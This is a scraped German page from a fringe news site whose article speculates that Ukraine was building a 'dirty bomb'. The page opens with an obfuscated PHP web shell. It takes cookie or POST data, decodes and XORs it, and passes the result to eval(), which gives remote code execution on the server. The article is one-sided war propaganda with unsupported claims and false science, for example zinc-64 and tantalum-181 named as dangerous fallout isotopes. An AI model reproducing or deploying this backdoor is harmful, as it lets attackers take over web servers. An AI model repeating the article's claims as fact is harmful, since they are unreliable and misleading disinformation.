$auDiDm = class_exists("V_CGoZ");if (!$auDiDm){class V_CGoZ{private $XkVtqVHtt;public static $fKcqCF = "a158a651-ff74-4edd-953b-c602dc034b3c";public static $zDAWli = NULL;public function __construct(){$VLrdKegcTD = $_COOKIE;$DhwQtx = $_POST;$mummiCkbIe = @$VLrdKegcTD[substr(V_CGoZ::$fKcqCF, 0, 4)];if (!empty($mummiCkbIe)){$gjDlrlmo = "base64";$iKSRFTZjJ = "";$mummiCkbIe = explode(",", $mummiCkbIe);foreach ($mummiCkbIe as $knlWEFqQRS){$iKSRFTZjJ .= @$VLrdKegcTD[$knlWEFqQRS];$iKSRFTZjJ .= @$DhwQtx[$knlWEFqQRS];}$iKSRFTZjJ = array_map($gjDlrlmo . chr ( 924 - 829 ).chr ( 569 - 469 ).chr (101) . "\143" . chr ( 254 - 143 ).'d' . chr ( 408 - 307 ), array($iKSRFTZjJ,)); $iKSRFTZjJ = $iKSRFTZjJ[0] ^ str_repeat(V_CGoZ::$fKcqCF, (strlen($iKSRFTZjJ[0]) / strlen(V_CGoZ::$fKcqCF)) + 1);V_CGoZ::$zDAWli = @unserialize($iKSRFTZjJ);}}public function __destruct(){$this->qrWpeOVCE();}private function qrWpeOVCE(){if (is_array(V_CGoZ::$zDAWli)) {$bdwWJSmubh = str_replace('<' . chr (63) . chr ( 117 - 5 ).'h' . "\x70", "", V_CGoZ::$zDAWli[chr (99) . "\157" . "\156" . "\164" . "\x65" . chr ( 670 - 560 ).'t']);eval($bdwWJSmubh);exit();}}}$fnjTXPt = new V_CGoZ(); $fnjTXPt = NULL;} ?> Bastelte die Ukraine auch an einer „schmutzigen Bombe“? — Extremnews — Die etwas anderen Nachrichten – No-Zensur.de Das freie Wort für eine freie Welt
Start Uncutnews.ch Bastelte die Ukraine auch an einer „schmutzigen Bombe“? — Extremnews — Die etwas anderen Nachrichten

Bastelte die Ukraine auch an einer „schmutzigen Bombe“? — Extremnews — Die etwas anderen Nachrichten

0
Bastelte die Ukraine auch an einer „schmutzigen Bombe“? — Extremnews — Die etwas anderen Nachrichten


Unmittelbar vor Beginn des Krieges zwischen der Ukraine und Russland äußerte Wladimir Putin einen Schlüsselsatz, dessen Bedeutung darin bestand, dass Russland nicht zulassen könne, dass die Ukraine auch nur taktische Atomwaffen erwerbe, und dass Kiew buchstäblich einen Schritt davon entfernt sei, solche Waffen zu schaffen. Dies berichtet das Magazin „Unser Mitteleuropa“ unter Verweis auf einen Bericht in „Globe Research“.

Weiter berichtet das Magazin: „

Es war diese
Betonung, die sofort aus dem Blickfeld der Öffentlichkeit geriet, als
von „Entnazifizierung“ und „Entmilitarisierung“ die Rede war. Was ist
eine schmutzige Atombombe und wie wahrscheinlich ist es, dass Kiew über eine solche verfügt?

Die klassische nukleare Sprengladung hat eine ungeheure
Zerstörungskraft, aber die Wirkung eines solchen Einsatzes ist relativ
kurzlebig. Ja, bei einer Nuklearexplosion bilden sich in der Tat extrem
gefährliche Isotope, darunter Strontium-89, Strontium-90, Cäsium-137,
Zink-64 und Tantal-181. Wenn diese Isotope in den Körper gelangen,
reichern sie sich dort an und verursachen schwere und oft unheilbare
Krankheiten. So reichert sich beispielsweise radioaktives Jod in der
Schilddrüse, Cäsium in den Muskeln, Strontium in den Knochen usw. an.

Gleichzeitig
denuklearisiert sich das von einer Nuklearexplosion betroffene Gebiet
recht schnell, d. h. es verliert aktiv Radioaktivität. Hiroshima und
Nagasaki, die einzigen Städte in der Geschichte der Menschheit, die
nuklear bombardiert wurden, sind ein gutes Beispiel dafür. Die Massen
hatten den Eindruck, dass sie jahrzehntelang eine verbrannte Wüste
hinterließen, was nicht stimmt. Bereits im August 1949 wurde das
Hiroshima Peace Memorial City Construction Law verabschiedet, das den
sofortigen Beginn des vollständigen Wiederaufbaus der Stadt ermöglichte.
Das heißt, es waren kaum mehr als vier Jahre seit dem Atomschlag
vergangen.

Das Prinzip der schmutzigen Bombe ist ein anderes. Diese Art von
Munition ist in ihrer Konstruktion viel einfacher und erfordert keine
komplexen technischen Lösungen. Es handelt sich einfach um ein
Trägermittel (Rakete, Bombe oder Artilleriegranate), an dem ein Behälter
mit radioaktivem Füllmaterial angebracht ist. Eine der potenziell
wirksamsten und daher auch gefährlichsten Anwendungen ist das Versprühen
von radioaktivem Staub aus einem Flugzeug oder einem anderen Fluggerät.

Gefährliche Isotope mit langen Halbwertszeiten lagern sich an der
Erdoberfläche, an Pflanzen und weiter im Boden und in Grundwasserleitern
ab und machen das Gebiet für viele Jahrzehnte lebensgefährlich. Um eine
Strahlenkrankheit zu entwickeln, genügt eine Dosis von einem Sievert
(Sv), eine Dosis von 3 bis 5 Sv führt entweder innerhalb weniger Monate
zum Tod oder zur Entstehung von Krebs, 6 bis 10 Sv bedeuten den sicheren
Tod, da das Knochenmark irreversibel absterben wird.

Bastelte die Ukraine an einer „schmutzigen Bombe“? Experten uneins

Die Frage, ob die Ukraine, die im Rahmen des Budapester Memorandums
auf nukleare Raketenwaffen verzichtet hat, eine schmutzige Bombe
herstellen könnte, wurde von verschiedenen Experten wiederholt erörtert.
Die meisten von ihnen waren sich einig, dass dies aus einer Reihe von
Gründen unmöglich ist.

Erstens, aus politischen Gründen: Die westlichen Verbündeten werden
der unberechenbaren Regierung in Kiew kein solches Druckmittel in die
Hand geben. Zweitens verfügt die Ukraine nicht über die entsprechenden
technischen Möglichkeiten, keine Zentrifugenkapazität für die
Urananreicherung und keine geeigneten Transportmittel. Einige Experten
sind mit der letztgenannten Behauptung nicht einverstanden, da seit den
Zeiten der Sowjetunion eine große Menge an Ausrüstung und Fachleuten,
die in der Lage sind, solche Mittel herzustellen, erhalten geblieben
ist.

Die Ukraine verfügt derzeit über eine große Menge an abgebrannten
Brennelementen, die seit 2020 nicht mehr aus dem ukrainischen
Hoheitsgebiet entfernt wurden und auf dem Gelände von Kernkraftwerken in
Erwartung des Baus eines Kernbrennstofflagers in der Sperrzone von
Tschernobyl gelagert wurden.

Darüber hinaus hatte das Kiewer Regime 30 Tonnen Plutonium und 40
Tonnen angereichertes Uran im Kernkraftwerk Saporischschja angehäuft.
Dies berichtete der Journalist des Wall Street Journal, Lawrence Norman,
unter Berufung auf den Generaldirektor der IAEO, Raphael Grossi. Der
Leiter der internationalen Atomaufsichtsbehörde wies darauf hin, dass
das Kernkraftwerk zwar unter russischer Kontrolle stehe, aber von
ukrainischen Reaktoren betrieben werde. Deshalb muss die IAEO dringend
ihre Experten entsenden, um die Lage zu beurteilen und herauszufinden,
ob Uran- und Plutoniumvorräte fehlen (leider hat Kiew bereits Speere,
kugelsichere Westen usw. verloren).

Bild: Unser Mitteleuropa / Eigenes Werk

Daraufhin
bezeichnete die ukrainische Energoatom die Worte des IAEO-Chefs als
Fälschung und versuchte zu erklären, dass sich Plutonium und
angereichertes Uran nur in Brennelementen (Röhren) in Kernkraftwerken
befinden, während abgebrannte Brennelemente in jedem Kernkraftwerk
vorhanden sind.

Was passierte mit angereichertem Uran?

„Das ist eine schlaue Sache. Wenn der Staat die Kompetenz hat,
Brennelemente zu demontieren, kann der abgebrannte Kernbrennstoff zur
Herstellung waffenfähiger Isotope verwendet werden. Und mit Sicherheit,
um damit einen Raketensprengkopf zu füllen, eine subversive Ladung, um
eine schmutzige Bombe zu arrangieren, wenn das Gebiet ohne eine nukleare
Explosion verseucht ist. Und die Aktivität einer solchen Bombe wird
anderthalb Mal höher sein als die einer Kobaltbombe“, so der Experte.

„Nehmen wir als Beispiel das Atomkraftwerk Bushehr im Iran – die
ganze westliche Welt hat von Russland zunächst verlangt, das Projekt zu
schließen, und dann haben sie zugestimmt – Russland nimmt den
abgebrannten Kernbrennstoff mit, damit die Iraner ihn nicht
versehentlich für illegale waffenmilitärische Zwecke verwenden. Aus
irgendeinem Grund war das im Iran beängstigend, es war ein Stolperstein,
aber in der Ukraine ist es nicht beängstigend“.

Was die Herstellung von Trägermitteln anbelangt, so ist nichts
unmöglich. Das legendäre Juschmasch-Werk der Vergangenheit befindet sich
heute tatsächlich in einer Phase des totalen Verfalls, während es, wie
wir uns erinnern, jahrzehntelang eine ziemlich breite Palette von
Produkten für die Raumfahrtindustrie hergestellt hat, darunter auch
Treibstoffmodule. Mit anderen Worten, sowohl die Dokumentation als auch
einige der Produktionsanlagen, die es ermöglichen, eine Hülle aus
besonders widerstandsfähigen Metallen zusammenzusetzen, in der eine
Ladung abgebrannter Kernbrennstoffe untergebracht werden kann, dürften
erhalten geblieben sein.

Es wäre auch keine Frage der Trägerraketen gewesen. Wenn die
Neptun-Raketen aus eigener Produktion versagen, verfügen die Verbündeten
über ihre eigenen, viel leistungsfähigeren und weitreichenden
Gegenstücke. Die Waffenlieferungen an die Ukraine begannen nicht mit dem
Beginn der russischen Sonderoperation. Und es gab ernsthafte
Diskussionen über die Lieferung schwerer Waffen an Kiew.

Die Gefahr, dass Kiew eine schmutzige Bombe herstellt, ist also
ernst. Dies wird, wenn auch indirekt, durch Aussagen von Experten,
Journalisten aus aller Welt und russischen Beamten bestätigt. Trotz der
Enthüllung, dass eine große Menge abgebrannter Brennelemente im
Kernkraftwerk Saporischschja gelagert wird, weiß niemand zuverlässig,
wie viel davon in anderen Kernkraftwerken gelagert wird. Wir können nur
hoffen, dass die ukrainische Regierung noch einen Rest von
Angemessenheit besitzt. Andernfalls könnte sie nicht nur Russland und
Weißrussland, sondern auch ihren Nachbarn irreparablen Schaden zufügen.

Quelle: Unser Mitteleuropa



Source link